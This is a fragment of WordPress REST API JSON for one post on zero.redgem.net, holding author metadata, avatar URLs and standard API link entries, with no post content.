redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/38350","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=38350"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/38350\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=38350"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=38350"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=38350"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}